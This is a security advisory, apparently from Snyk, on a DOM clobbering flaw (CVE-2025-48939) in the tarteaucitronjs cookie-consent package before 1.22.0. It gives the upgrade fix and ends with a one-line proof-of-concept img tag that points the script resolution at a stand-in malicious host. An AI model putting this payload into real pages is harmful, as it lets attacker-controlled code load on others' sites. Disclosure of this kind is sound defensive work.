DOM Clobbering Affecting tarteaucitronjs package, versions <1.22.0
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
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Test your applications- Snyk IDSNYK-JS-TARTEAUCITRONJS-10598341
- published4 Jul 2025
- disclosed3 Jul 2025
- creditPierre Rudloff
Introduced: 3 Jul 2025
NewCVE-2025-48939 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade tarteaucitronjs to version 1.22.0 or higher.
Overview
tarteaucitronjs is a package that provides compliance to the European cookie law.
Affected versions of this package are vulnerable to DOM Clobbering when setting the document.currentScript value. An attacker can cause incorrect script resolution and potentially alter the CDN domain by injecting a DOM element with a conflicting name attribute.
PoC
<img name="currentScript" src="https://malicious.example.com">